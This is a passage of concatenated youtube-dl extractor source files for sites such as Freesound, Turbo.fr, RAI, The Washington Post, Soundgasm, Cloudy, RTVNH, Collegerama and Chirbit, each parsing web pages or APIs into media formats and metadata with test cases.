                config = self._parse_json(config_string, server_id, fatal=False)
                camera_info = config.get('ivTvAppOptions', {}).get('currentCameraInfo')
                if camera_info:
                    camera_name = camera_info.get('camera_name')
                    description = camera_info.get('misc', {}).get('description')
            if not camera_name:
                camera_name = self._html_search_meta(
                    'name', webpage, 'camera name', default=None) or self._search_regex(
                    r'<h1[^>]+class="b-video-title"[^>]*>([^<]+)', webpage, 'camera name', default=None)

        quality = qualities(self._QUALITIES)

        formats = [{
            'url': 'https://streaming.ivideon.com/flv/live?%s' % compat_urllib_parse_urlencode({
                'server': server_id,
                'camera': camera_id,
                'sessionId': 'demo',
                'q': quality(format_id),
            }),
            'format_id': format_id,
            'ext': 'flv',
            'quality': quality(format_id),
        } for format_id in self._QUALITIES]
        self._sort_formats(formats)

        return {
            'id': server_id,
            'title': self._live_title(camera_name or server_id),
            'description': description,
            'is_live': True,
            'formats': formats,
        }






from __future__ import unicode_literals

import re

from .common import InfoExtractor


class FreesoundIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?freesound\.org/people/([^/]+)/sounds/(?P<id>[^/]+)'
    _TEST = {
        'url': 'http://www.freesound.org/people/miklovan/sounds/194503/',
        'md5': '12280ceb42c81f19a515c745eae07650',
        'info_dict': {
            'id': '194503',
            'ext': 'mp3',
            'title': 'gulls in the city.wav',
            'uploader': 'miklovan',
            'description': 'the sounds of seagulls in the city',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        music_id = mobj.group('id')
        webpage = self._download_webpage(url, music_id)
        title = self._html_search_regex(
            r'<div id="single_sample_header">.*?<a href="#">(.+?)</a>',
            webpage, 'music title', flags=re.DOTALL)
        description = self._html_search_regex(
            r'<div id="sound_description">(.*?)</div>', webpage, 'description',
            fatal=False, flags=re.DOTALL)

        return {
            'id': music_id,
            'title': title,
            'url': self._og_search_property('audio', webpage, 'music url'),
            'uploader': self._og_search_property('audio:artist', webpage, 'music uploader'),
            'description': description,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    ExtractorError,
    int_or_none,
    qualities,
    xpath_text,
)


class TurboIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?turbo\.fr/videos-voiture/(?P<id>[0-9]+)-'
    _API_URL = 'http://www.turbo.fr/api/tv/xml.php?player_generique=player_generique&id={0:}'
    _TEST = {
        'url': 'http://www.turbo.fr/videos-voiture/454443-turbo-du-07-09-2014-renault-twingo-3-bentley-continental-gt-speed-ces-guide-achat-dacia.html',
        'md5': '33f4b91099b36b5d5a91f84b5bcba600',
        'info_dict': {
            'id': '454443',
            'ext': 'mp4',
            'duration': 3715,
            'title': 'Turbo du 07/09/2014 : Renault Twingo 3, Bentley Continental GT Speed, CES, Guide Achat Dacia... ',
            'description': 'Turbo du 07/09/2014 : Renault Twingo 3, Bentley Continental GT Speed, CES, Guide Achat Dacia...',
            'thumbnail': 're:^https?://.*\.jpg$',
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        webpage = self._download_webpage(url, video_id)

        playlist = self._download_xml(self._API_URL.format(video_id), video_id)
        item = playlist.find('./channel/item')
        if item is None:
            raise ExtractorError('Playlist item was not found', expected=True)

        title = xpath_text(item, './title', 'title')
        duration = int_or_none(xpath_text(item, './durate', 'duration'))
        thumbnail = xpath_text(item, './visuel_clip', 'thumbnail')
        description = self._html_search_meta('description', webpage)

        formats = []
        get_quality = qualities(['3g', 'sd', 'hq'])
        for child in item:
            m = re.search(r'url_video_(?P<quality>.+)', child.tag)
            if m:
                quality = m.group('quality')
                formats.append({
                    'format_id': quality,
                    'url': child.text,
                    'quality': get_quality(quality),
                })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'duration': duration,
            'thumbnail': thumbnail,
            'description': description,
            'formats': formats,
        }






from __future__ import unicode_literals

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    determine_ext,
    ExtractorError,
    find_xpath_attr,
    fix_xml_ampersands,
    int_or_none,
    parse_duration,
    unified_strdate,
    update_url_query,
    xpath_text,
)


class RaiBaseIE(InfoExtractor):
    def _extract_relinker_formats(self, relinker_url, video_id):
        formats = []

        for platform in ('mon', 'flash', 'native'):
            relinker = self._download_xml(
                relinker_url, video_id,
                note='Downloading XML metadata for platform %s' % platform,
                transform_source=fix_xml_ampersands,
                query={'output': 45, 'pl': platform},
                headers=self.geo_verification_headers())

            media_url = find_xpath_attr(relinker, './url', 'type', 'content').text
            if media_url == 'http://download.rai.it/video_no_available.mp4':
                self.raise_geo_restricted()

            ext = determine_ext(media_url)
            if (ext == 'm3u8' and platform != 'mon') or (ext == 'f4m' and platform != 'flash'):
                continue

            if ext == 'm3u8':
                formats.extend(self._extract_m3u8_formats(
                    media_url, video_id, 'mp4', 'm3u8_native',
                    m3u8_id='hls', fatal=False))
            elif ext == 'f4m':
                manifest_url = update_url_query(
                    media_url.replace('manifest#live_hds.f4m', 'manifest.f4m'),
                    {'hdcore': '3.7.0', 'plugin': 'aasp-3.7.0.39.44'})
                formats.extend(self._extract_f4m_formats(
                    manifest_url, video_id, f4m_id='hds', fatal=False))
            else:
                bitrate = int_or_none(xpath_text(relinker, 'bitrate'))
                formats.append({
                    'url': media_url,
                    'tbr': bitrate if bitrate > 0 else None,
                    'format_id': 'http-%d' % bitrate if bitrate > 0 else 'http',
                })

        return formats

    def _extract_from_content_id(self, content_id, base_url):
        media = self._download_json(
            'http://www.rai.tv/dl/RaiTV/programmi/media/ContentItem-%s.html?json' % content_id,
            content_id, 'Downloading video JSON')

        thumbnails = []
        for image_type in ('image', 'image_medium', 'image_300'):
            thumbnail_url = media.get(image_type)
            if thumbnail_url:
                thumbnails.append({
                    'url': compat_urlparse.urljoin(base_url, thumbnail_url),
                })

        formats = []
        media_type = media['type']
        if 'Audio' in media_type:
            formats.append({
                'format_id': media.get('formatoAudio'),
                'url': media['audioUrl'],
                'ext': media.get('formatoAudio'),
            })
        elif 'Video' in media_type:
            formats.extend(self._extract_relinker_formats(media['mediaUri'], content_id))
            self._sort_formats(formats)
        else:
            raise ExtractorError('not a media file')

        subtitles = {}
        captions = media.get('subtitlesUrl')
        if captions:
            STL_EXT = '.stl'
            SRT_EXT = '.srt'
            if captions.endswith(STL_EXT):
                captions = captions[:-len(STL_EXT)] + SRT_EXT
            subtitles['it'] = [{
                'ext': 'srt',
                'url': captions,
            }]

        return {
            'id': content_id,
            'title': media['name'],
            'description': media.get('desc'),
            'thumbnails': thumbnails,
            'uploader': media.get('author'),
            'upload_date': unified_strdate(media.get('date')),
            'duration': parse_duration(media.get('length')),
            'formats': formats,
            'subtitles': subtitles,
        }


class RaiTVIE(RaiBaseIE):
    _VALID_URL = r'https?://(?:.+?\.)?(?:rai\.it|rai\.tv|rainews\.it)/dl/(?:[^/]+/)+(?:media|ondemand)/.+?-(?P<id>[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12})(?:-.+?)?\.html'
    _TESTS = [
        {
            'url': 'http://www.rai.tv/dl/RaiTV/programmi/media/ContentItem-cb27157f-9dd0-4aee-b788-b1f67643a391.html',
            'md5': '8970abf8caf8aef4696e7b1f2adfc696',
            'info_dict': {
                'id': 'cb27157f-9dd0-4aee-b788-b1f67643a391',
                'ext': 'mp4',
                'title': 'Report del 07/04/2014',
                'description': 'md5:f27c544694cacb46a078db84ec35d2d9',
                'upload_date': '20140407',
                'duration': 6160,
                'thumbnail': 're:^https?://.*\.jpg$',
            }
        },
        {
            # no m3u8 stream
            'url': 'http://www.raisport.rai.it/dl/raiSport/media/rassegna-stampa-04a9f4bd-b563-40cf-82a6-aad3529cb4a9.html',
            # HDS download, MD5 is unstable
            'info_dict': {
                'id': '04a9f4bd-b563-40cf-82a6-aad3529cb4a9',
                'ext': 'flv',
                'title': 'TG PRIMO TEMPO',
                'upload_date': '20140612',
                'duration': 1758,
                'thumbnail': 're:^https?://.*\.jpg$',
            },
            'skip': 'Geo-restricted to Italy',
        },
        {
            'url': 'http://www.rainews.it/dl/rainews/media/state-of-the-net-Antonella-La-Carpia-regole-virali-7aafdea9-0e5d-49d5-88a6-7e65da67ae13.html',
            'md5': '35cf7c229f22eeef43e48b5cf923bef0',
            'info_dict': {
                'id': '7aafdea9-0e5d-49d5-88a6-7e65da67ae13',
                'ext': 'mp4',
                'title': 'State of the Net, Antonella La Carpia: regole virali',
                'description': 'md5:b0ba04a324126903e3da7763272ae63c',
                'upload_date': '20140613',
            },
            'skip': 'Error 404',
        },
        {
            'url': 'http://www.rai.tv/dl/RaiTV/programmi/media/ContentItem-b4a49761-e0cc-4b14-8736-2729f6f73132-tg2.html',
            'info_dict': {
                'id': 'b4a49761-e0cc-4b14-8736-2729f6f73132',
                'ext': 'mp4',
                'title': 'Alluvione in Sardegna e dissesto idrogeologico',
                'description': 'Edizione delle ore 20:30 ',
            },
            'skip': 'invalid urls',
        },
        {
            'url': 'http://www.ilcandidato.rai.it/dl/ray/media/Il-Candidato---Primo-episodio-Le-Primarie-28e5525a-b495-45e8-a7c3-bc48ba45d2b6.html',
            'md5': 'e57493e1cb8bc7c564663f363b171847',
            'info_dict': {
                'id': '28e5525a-b495-45e8-a7c3-bc48ba45d2b6',
                'ext': 'mp4',
                'title': 'Il Candidato - Primo episodio: "Le Primarie"',
                'description': 'md5:364b604f7db50594678f483353164fb8',
                'upload_date': '20140923',
                'duration': 386,
                'thumbnail': 're:^https?://.*\.jpg$',
            }
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        return self._extract_from_content_id(video_id, url)


class RaiIE(RaiBaseIE):
    _VALID_URL = r'https?://(?:.+?\.)?(?:rai\.it|rai\.tv|rainews\.it)/dl/.+?-(?P<id>[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12})(?:-.+?)?\.html'
    _TESTS = [
        {
            'url': 'http://www.report.rai.it/dl/Report/puntata/ContentItem-0c7a664b-d0f4-4b2c-8835-3f82e46f433e.html',
            'md5': '2dd727e61114e1ee9c47f0da6914e178',
            'info_dict': {
                'id': '59d69d28-6bb6-409d-a4b5-ed44096560af',
                'ext': 'mp4',
                'title': 'Il pacco',
                'description': 'md5:4b1afae1364115ce5d78ed83cd2e5b3a',
                'upload_date': '20141221',
            },
        },
        {
            # Direct relinker URL
            'url': 'http://www.rai.tv/dl/RaiTV/dirette/PublishingBlock-1912dbbf-3f96-44c3-b4cf-523681fbacbc.html?channel=EuroNews',
            # HDS live stream, MD5 is unstable
            'info_dict': {
                'id': '1912dbbf-3f96-44c3-b4cf-523681fbacbc',
                'ext': 'flv',
                'title': 'EuroNews',
            },
            'skip': 'Geo-restricted to Italy',
        },
        {
            # Embedded content item ID
            'url': 'http://www.tg1.rai.it/dl/tg1/2010/edizioni/ContentSet-9b6e0cba-4bef-4aef-8cf0-9f7f665b7dfb-tg1.html?item=undefined',
            'md5': '84c1135ce960e8822ae63cec34441d63',
            'info_dict': {
                'id': '0960e765-62c8-474a-ac4b-7eb3e2be39c8',
                'ext': 'mp4',
                'title': 'TG1 ore 20:00 del 02/07/2016',
                'upload_date': '20160702',
            },
        },
        {
            'url': 'http://www.rainews.it/dl/rainews/live/ContentItem-3156f2f2-dc70-4953-8e2f-70d7489d4ce9.html',
            # HDS live stream, MD5 is unstable
            'info_dict': {
                'id': '3156f2f2-dc70-4953-8e2f-70d7489d4ce9',
                'ext': 'flv',
                'title': 'La diretta di Rainews24',
            },
        },
    ]

    @classmethod
    def suitable(cls, url):
        return False if RaiTVIE.suitable(url) else super(RaiIE, cls).suitable(url)

    def _real_extract(self, url):
        video_id = self._match_id(url)
        webpage = self._download_webpage(url, video_id)

        iframe_url = self._search_regex(
            [r'<iframe[^>]+src="([^"]*/dl/[^"]+\?iframe\b[^"]*)"',
             r'drawMediaRaiTV\(["\'](.+?)["\']'],
            webpage, 'iframe', default=None)
        if iframe_url:
            if not iframe_url.startswith('http'):
                iframe_url = compat_urlparse.urljoin(url, iframe_url)
            return self.url_result(iframe_url)

        content_item_id = self._search_regex(
            r'initEdizione\((?P<q1>[\'"])ContentItem-(?P<content_id>[^\'"]+)(?P=q1)',
            webpage, 'content item ID', group='content_id', default=None)
        if content_item_id:
            return self._extract_from_content_id(content_item_id, url)

        relinker_url = compat_urlparse.urljoin(url, self._search_regex(
            r'(?:var\s+videoURL|mediaInfo\.mediaUri)\s*=\s*(?P<q1>[\'"])(?P<url>(https?:)?//mediapolis\.rai\.it/relinker/relinkerServlet\.htm\?cont=\d+)(?P=q1)',
            webpage, 'relinker URL', group='url'))
        formats = self._extract_relinker_formats(relinker_url, video_id)
        self._sort_formats(formats)

        title = self._search_regex(
            r'var\s+videoTitolo\s*=\s*([\'"])(?P<title>[^\'"]+)\1',
            webpage, 'title', group='title', default=None) or self._og_search_title(webpage)

        return {
            'id': video_id,
            'title': title,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..utils import (
    int_or_none,
    strip_jsonp,
)


class WashingtonPostIE(InfoExtractor):
    IE_NAME = 'washingtonpost'
    _VALID_URL = r'(?:washingtonpost:|https?://(?:www\.)?washingtonpost\.com/video/(?:[^/]+/)*)(?P<id>[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12})'
    _TEST = {
        'url': 'https://www.washingtonpost.com/video/c/video/480ba4ee-1ec7-11e6-82c2-a7dcb313287d',
        'md5': '6f537e1334b714eb15f9563bd4b9cdfa',
        'info_dict': {
            'id': '480ba4ee-1ec7-11e6-82c2-a7dcb313287d',
            'ext': 'mp4',
            'title': 'Egypt finds belongings, debris from plane crash',
            'description': 'md5:a17ceee432f215a5371388c1f680bd86',
            'upload_date': '20160520',
            'uploader': 'Reuters',
            'timestamp': 1463778452,
        },
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)
        video_data = self._download_json(
            'http://www.washingtonpost.com/posttv/c/videojson/%s?resType=jsonp' % video_id,
            video_id, transform_source=strip_jsonp)[0]['contentConfig']
        title = video_data['title']

        urls = []
        formats = []
        for s in video_data.get('streams', []):
            s_url = s.get('url')
            if not s_url or s_url in urls:
                continue
            urls.append(s_url)
            video_type = s.get('type')
            if video_type == 'smil':
                continue
            elif video_type in ('ts', 'hls') and ('_master.m3u8' in s_url or '_mobile.m3u8' in s_url):
                m3u8_formats = self._extract_m3u8_formats(
                    s_url, video_id, 'mp4', 'm3u8_native', m3u8_id='hls', fatal=False)
                for m3u8_format in m3u8_formats:
                    width = m3u8_format.get('width')
                    if not width:
                        continue
                    vbr = self._search_regex(
                        r'%d_%d_(\d+)' % (width, m3u8_format['height']), m3u8_format['url'], 'vbr', default=None)
                    if vbr:
                        m3u8_format.update({
                            'vbr': int_or_none(vbr),
                        })
                formats.extend(m3u8_formats)
            else:
                width = int_or_none(s.get('width'))
                vbr = int_or_none(s.get('bitrate'))
                has_width = width != 0
                formats.append({
                    'format_id': (
                        '%s-%d-%d' % (video_type, width, vbr)
                        if width
                        else video_type),
                    'vbr': vbr if has_width else None,
                    'width': width,
                    'height': int_or_none(s.get('height')),
                    'acodec': s.get('audioCodec'),
                    'vcodec': s.get('videoCodec') if has_width else 'none',
                    'filesize': int_or_none(s.get('fileSize')),
                    'url': s_url,
                    'ext': 'mp4',
                    'protocol': 'm3u8_native' if video_type in ('ts', 'hls') else None,
                })
        source_media_url = video_data.get('sourceMediaURL')
        if source_media_url:
            formats.append({
                'format_id': 'source_media',
                'url': source_media_url,
            })
        self._sort_formats(
            formats, ('width', 'height', 'vbr', 'filesize', 'tbr', 'format_id'))

        return {
            'id': video_id,
            'title': title,
            'description': video_data.get('blurb'),
            'uploader': video_data.get('credits', {}).get('source'),
            'formats': formats,
            'duration': int_or_none(video_data.get('videoDuration'), 100),
            'timestamp': int_or_none(
                video_data.get('dateConfig', {}).get('dateFirstPublished'), 1000),
        }


class WashingtonPostArticleIE(InfoExtractor):
    IE_NAME = 'washingtonpost:article'
    _VALID_URL = r'https?://(?:www\.)?washingtonpost\.com/(?:[^/]+/)*(?P<id>[^/?#]+)'
    _TESTS = [{
        'url': 'http://www.washingtonpost.com/sf/national/2014/03/22/sinkhole-of-bureaucracy/',
        'info_dict': {
            'id': 'sinkhole-of-bureaucracy',
            'title': 'Sinkhole of bureaucracy',
        },
        'playlist': [{
            'md5': 'b9be794ceb56c7267d410a13f99d801a',
            'info_dict': {
                'id': 'fc433c38-b146-11e3-b8b3-44b1d1cd4c1f',
                'ext': 'mp4',
                'title': 'Breaking Points: The Paper Mine',
                'duration': 1290,
                'description': 'Overly complicated paper pushing is nothing new to government bureaucracy. But the way federal retirement applications are filed may be the most outdated. David Fahrenthold explains.',
                'uploader': 'The Washington Post',
                'timestamp': 1395527908,
                'upload_date': '20140322',
            },
        }, {
            'md5': '1fff6a689d8770966df78c8cb6c8c17c',
            'info_dict': {
                'id': '41255e28-b14a-11e3-b8b3-44b1d1cd4c1f',
                'ext': 'mp4',
                'title': 'The town bureaucracy sustains',
                'description': 'Underneath the friendly town of Boyers is a sea of government paperwork. In a disused limestone mine, hundreds of locals now track, file and process retirement applications for the federal government. We set out to find out what it\'s like to do paperwork 230 feet underground.',
                'duration': 2220,
                'timestamp': 1395528005,
                'upload_date': '20140322',
                'uploader': 'The Washington Post',
            },
        }],
    }, {
        'url': 'http://www.washingtonpost.com/blogs/wonkblog/wp/2014/12/31/one-airline-figured-out-how-to-make-sure-its-airplanes-never-disappear/',
        'info_dict': {
            'id': 'one-airline-figured-out-how-to-make-sure-its-airplanes-never-disappear',
            'title': 'One airline figured out how to make sure its airplanes never disappear',
        },
        'playlist': [{
            'md5': 'a7c1b5634ba5e57a6a82cdffa5b1e0d0',
            'info_dict': {
                'id': '0e4bb54c-9065-11e4-a66f-0ca5037a597d',
                'ext': 'mp4',
                'description': 'Washington Post transportation reporter Ashley Halsey III explains why a plane\'s black box needs to be recovered from a crash site instead of having its information streamed in real time throughout the flight.',
                'upload_date': '20141230',
                'uploader': 'The Washington Post',
                'timestamp': 1419974765,
                'title': 'Why black boxes don’t transmit data in real time',
            }
        }]
    }]

    @classmethod
    def suitable(cls, url):
        return False if WashingtonPostIE.suitable(url) else super(WashingtonPostArticleIE, cls).suitable(url)

    def _real_extract(self, url):
        page_id = self._match_id(url)
        webpage = self._download_webpage(url, page_id)

        title = self._og_search_title(webpage)

        uuids = re.findall(r'''(?x)
            (?:
                <div\s+class="posttv-video-embed[^>]*?data-uuid=|
                data-video-uuid=
            )"([^"]+)"''', webpage)
        entries = [self.url_result('washingtonpost:%s' % uuid, 'WashingtonPost', uuid) for uuid in uuids]

        return {
            '_type': 'playlist',
            'entries': entries,
            'id': page_id,
            'title': title,
        }






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor


class SoundgasmIE(InfoExtractor):
    IE_NAME = 'soundgasm'
    _VALID_URL = r'https?://(?:www\.)?soundgasm\.net/u/(?P<user>[0-9a-zA-Z_\-]+)/(?P<title>[0-9a-zA-Z_\-]+)'
    _TEST = {
        'url': 'http://soundgasm.net/u/ytdl/Piano-sample',
        'md5': '010082a2c802c5275bb00030743e75ad',
        'info_dict': {
            'id': '88abd86ea000cafe98f96321b23cc1206cbcbcc9',
            'ext': 'm4a',
            'title': 'ytdl_Piano-sample',
            'description': 'Royalty Free Sample Music'
        }
    }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        display_id = mobj.group('title')
        audio_title = mobj.group('user') + '_' + mobj.group('title')
        webpage = self._download_webpage(url, display_id)
        audio_url = self._html_search_regex(
            r'(?s)m4a\:\s"([^"]+)"', webpage, 'audio URL')
        audio_id = re.split('\/|\.', audio_url)[-2]
        description = self._html_search_regex(
            r'(?s)<li>Description:\s(.*?)<\/li>', webpage, 'description',
            fatal=False)

        return {
            'id': audio_id,
            'display_id': display_id,
            'url': audio_url,
            'title': audio_title,
            'description': description
        }


class SoundgasmProfileIE(InfoExtractor):
    IE_NAME = 'soundgasm:profile'
    _VALID_URL = r'https?://(?:www\.)?soundgasm\.net/u/(?P<id>[^/]+)/?(?:\#.*)?$'
    _TEST = {
        'url': 'http://soundgasm.net/u/ytdl',
        'info_dict': {
            'id': 'ytdl',
        },
        'playlist_count': 1,
    }

    def _real_extract(self, url):
        profile_id = self._match_id(url)

        webpage = self._download_webpage(url, profile_id)

        entries = [
            self.url_result(audio_url, 'Soundgasm')
            for audio_url in re.findall(r'href="([^"]+/u/%s/[^"]+)' % profile_id, webpage)]

        return self.playlist_result(entries, profile_id)






# coding: utf-8
from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import (
    compat_parse_qs,
    compat_HTTPError,
)
from ..utils import (
    ExtractorError,
    HEADRequest,
    remove_end,
)


class CloudyIE(InfoExtractor):
    _IE_DESC = 'cloudy.ec'
    _VALID_URL = r'''(?x)
        https?://(?:www\.)?cloudy\.ec/
        (?:v/|embed\.php\?id=)
        (?P<id>[A-Za-z0-9]+)
        '''
    _EMBED_URL = 'http://www.cloudy.ec/embed.php?id=%s'
    _API_URL = 'http://www.cloudy.ec/api/player.api.php'
    _MAX_TRIES = 2
    _TEST = {
        'url': 'https://www.cloudy.ec/v/af511e2527aac',
        'md5': '5cb253ace826a42f35b4740539bedf07',
        'info_dict': {
            'id': 'af511e2527aac',
            'ext': 'flv',
            'title': 'Funny Cats and Animals Compilation june 2013',
        }
    }

    def _extract_video(self, video_id, file_key, error_url=None, try_num=0):

        if try_num > self._MAX_TRIES - 1:
            raise ExtractorError('Unable to extract video URL', expected=True)

        form = {
            'file': video_id,
            'key': file_key,
        }

        if error_url:
            form.update({
                'numOfErrors': try_num,
                'errorCode': '404',
                'errorUrl': error_url,
            })

        player_data = self._download_webpage(
            self._API_URL, video_id, 'Downloading player data', query=form)
        data = compat_parse_qs(player_data)

        try_num += 1

        if 'error' in data:
            raise ExtractorError(
                '%s error: %s' % (self.IE_NAME, ' '.join(data['error_msg'])),
                expected=True)

        title = data.get('title', [None])[0]
        if title:
            title = remove_end(title, '&asdasdas').strip()

        video_url = data.get('url', [None])[0]

        if video_url:
            try:
                self._request_webpage(HEADRequest(video_url), video_id, 'Checking video URL')
            except ExtractorError as e:
                if isinstance(e.cause, compat_HTTPError) and e.cause.code in [404, 410]:
                    self.report_warning('Invalid video URL, requesting another', video_id)
                    return self._extract_video(video_id, file_key, video_url, try_num)

        return {
            'id': video_id,
            'url': video_url,
            'title': title,
        }

    def _real_extract(self, url):
        mobj = re.match(self._VALID_URL, url)
        video_id = mobj.group('id')

        url = self._EMBED_URL % video_id
        webpage = self._download_webpage(url, video_id)

        file_key = self._search_regex(
            [r'key\s*:\s*"([^"]+)"', r'filekey\s*=\s*"([^"]+)"'],
            webpage, 'file_key')

        return self._extract_video(video_id, file_key)






# coding: utf-8
from __future__ import unicode_literals

from .common import InfoExtractor
from ..utils import ExtractorError


class RTVNHIE(InfoExtractor):
    _VALID_URL = r'https?://(?:www\.)?rtvnh\.nl/video/(?P<id>[0-9]+)'
    _TEST = {
        'url': 'http://www.rtvnh.nl/video/131946',
        'md5': 'cdbec9f44550763c8afc96050fa747dc',
        'info_dict': {
            'id': '131946',
            'ext': 'mp4',
            'title': 'Grote zoektocht in zee bij Zandvoort naar vermiste vrouw',
            'thumbnail': 're:^https?:.*\.jpg$'
        }
    }

    def _real_extract(self, url):
        video_id = self._match_id(url)

        meta = self._parse_json(self._download_webpage(
            'http://www.rtvnh.nl/video/json?m=' + video_id, video_id), video_id)

        status = meta.get('status')
        if status != 200:
            raise ExtractorError(
                '%s returned error code %d' % (self.IE_NAME, status), expected=True)

        formats = []
        rtmp_formats = self._extract_smil_formats(
            'http://www.rtvnh.nl/video/smil?m=' + video_id, video_id)
        formats.extend(rtmp_formats)

        for rtmp_format in rtmp_formats:
            rtmp_url = '%s/%s' % (rtmp_format['url'], rtmp_format['play_path'])
            rtsp_format = rtmp_format.copy()
            del rtsp_format['play_path']
            del rtsp_format['ext']
            rtsp_format.update({
                'format_id': rtmp_format['format_id'].replace('rtmp', 'rtsp'),
                'url': rtmp_url.replace('rtmp://', 'rtsp://'),
                'protocol': 'rtsp',
            })
            formats.append(rtsp_format)
            http_base_url = rtmp_url.replace('rtmp://', 'http://')
            formats.extend(self._extract_m3u8_formats(
                http_base_url + '/playlist.m3u8', video_id, 'mp4',
                'm3u8_native', m3u8_id='hls', fatal=False))
            formats.extend(self._extract_f4m_formats(
                http_base_url + '/manifest.f4m',
                video_id, f4m_id='hds', fatal=False))
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': meta['title'].strip(),
            'thumbnail': meta.get('image'),
            'formats': formats
        }






from __future__ import unicode_literals

import json

from .common import InfoExtractor
from ..utils import (
    float_or_none,
    int_or_none,
    sanitized_Request,
)


class CollegeRamaIE(InfoExtractor):
    _VALID_URL = r'https?://collegerama\.tudelft\.nl/Mediasite/Play/(?P<id>[\da-f]+)'
    _TESTS = [
        {
            'url': 'https://collegerama.tudelft.nl/Mediasite/Play/585a43626e544bdd97aeb71a0ec907a01d',
            'md5': '481fda1c11f67588c0d9d8fbdced4e39',
            'info_dict': {
                'id': '585a43626e544bdd97aeb71a0ec907a01d',
                'ext': 'mp4',
                'title': 'Een nieuwe wereld: waarden, bewustzijn en techniek van de mensheid 2.0.',
                'description': '',
                'thumbnail': 're:^https?://.*\.jpg$',
                'duration': 7713.088,
                'timestamp': 1413309600,
                'upload_date': '20141014',
            },
        },
        {
            'url': 'https://collegerama.tudelft.nl/Mediasite/Play/86a9ea9f53e149079fbdb4202b521ed21d?catalog=fd32fd35-6c99-466c-89d4-cd3c431bc8a4',
            'md5': 'ef1fdded95bdf19b12c5999949419c92',
            'info_dict': {
                'id': '86a9ea9f53e149079fbdb4202b521ed21d',
                'ext': 'wmv',
                'title': '64ste Vakantiecursus: Afvalwater',
                'description': 'md5:7fd774865cc69d972f542b157c328305',
                'duration': 10853,
                'timestamp': 1326446400,
                'upload_date': '20120113',
            },
        },
    ]

    def _real_extract(self, url):
        video_id = self._match_id(url)

        player_options_request = {
            'getPlayerOptionsRequest': {
                'ResourceId': video_id,
                'QueryString': '',
            }
        }

        request = sanitized_Request(
            'http://collegerama.tudelft.nl/Mediasite/PlayerService/PlayerService.svc/json/GetPlayerOptions',
            json.dumps(player_options_request))
        request.add_header('Content-Type', 'application/json')

        player_options = self._download_json(request, video_id)

        presentation = player_options['d']['Presentation']
        title = presentation['Title']
        description = presentation.get('Description')
        thumbnail = None
        duration = float_or_none(presentation.get('Duration'), 1000)
        timestamp = int_or_none(presentation.get('UnixTime'), 1000)

        formats = []
        for stream in presentation['Streams']:
            for video in stream['VideoUrls']:
                thumbnail_url = stream.get('ThumbnailUrl')
                if thumbnail_url:
                    thumbnail = 'http://collegerama.tudelft.nl' + thumbnail_url
                format_id = video['MediaType']
                if format_id == 'SS':
                    continue
                formats.append({
                    'url': video['Location'],
                    'format_id': format_id,
                })
        self._sort_formats(formats)

        return {
            'id': video_id,
            'title': title,
            'description': description,
            'thumbnail': thumbnail,
            'duration': duration,
            'timestamp': timestamp,
            'formats': formats,
        }






# coding: utf-8
from __future__ import unicode_literals

import base64

from .common import InfoExtractor
from ..utils import parse_duration


class ChirbitIE(InfoExtractor):
    IE_NAME = 'chirbit'
    _VALID_URL = r'https?://(?:www\.)?chirb\.it/(?:(?:wp|pl)/|fb_chirbit_player\.swf\?key=)?(?P<id>[\da-zA-Z]+)'
    _TESTS = [{
        'url': 'http://chirb.it/be2abG',
        'info_dict': {
            'id': 'be2abG',
            'ext': 'mp3',
            'title': 'md5:f542ea253f5255240be4da375c6a5d7e',
            'description': 'md5:f24a4e22a71763e32da5fed59e47c770',
            'duration': 306,
        },
        'params': {
            'skip_download': True,
        }
    }, {
        'url': 'https://chirb.it/fb_chirbit_player.swf?key=PrIPv5',
        'only_matching': True,
    }, {
        'url': 'https://chirb.it/wp/MN58c2',
        'only_matching': True,
    }]

    def _real_extract(self, url):
        audio_id = self._match_id(url)

        webpage = self._download_webpage(
            'http://chirb.it/%s' % audio_id, audio_id)

        data_fd = self._search_regex(
            r'data-fd=(["\'])(?P<url>(?:(?!\1).)+)\1',
            webpage, 'data fd', group='url')

        # Reverse engineered from https://chirb.it/js/chirbit.player.js (look
        # for soundURL)
        audio_url = base64.b64decode(
            data_fd[::-1].encode('ascii')).decode('utf-8')

        title = self._search_regex(
            r'class=["\']chirbit-title["\'][^>]*>([^<]+)', webpage, 'title')
        description = self._search_regex(
            r'<h3>Description</h3>\s*<pre[^>]*>([^<]+)</pre>',
            webpage, 'description', default=None)
        duration = parse_duration(self._search_regex(
            r'class=["\']c-length["\'][^>]*>([^<]+)',
            webpage, 'duration', fatal=False))

        return {
            'id': audio_id,
            'url': audio_url,
            'title': title,
            'description': description,
            'duration': duration,
        }


class ChirbitProfileIE(InfoExtractor):
    IE_NAME = 'chirbit:profile'
    _VALID_URL = r'https?://(?:www\.)?chirbit.com/(?:rss/)?(?P<id>[^/]+)'
    _TEST = {
        'url': 'http://chirbit.com/ScarletBeauty',
        'info_dict': {
            'id': 'ScarletBeauty',
            'title': 'Chirbits by ScarletBeauty',
        },
        'playlist_mincount': 3,
    }

    def _real_extract(self, url):
        profile_id = self._match_id(url)

        rss = self._download_xml(
            'http://chirbit.com/rss/%s' % profile_id, profile_id)

        entries = [
            self.url_result(audio_url.text, 'Chirbit')
            for audio_url in rss.findall('./channel/item/link')]

        title = rss.find('./channel/title').text

        return self.playlist_result(entries, profile_id, title)






from __future__ import unicode_literals

import re

from .common import InfoExtractor
from ..compat import compat_urlparse
from ..utils import (
    int_or_none,
    js_to_json,
    parse_filesize,
    str_to_int,
)


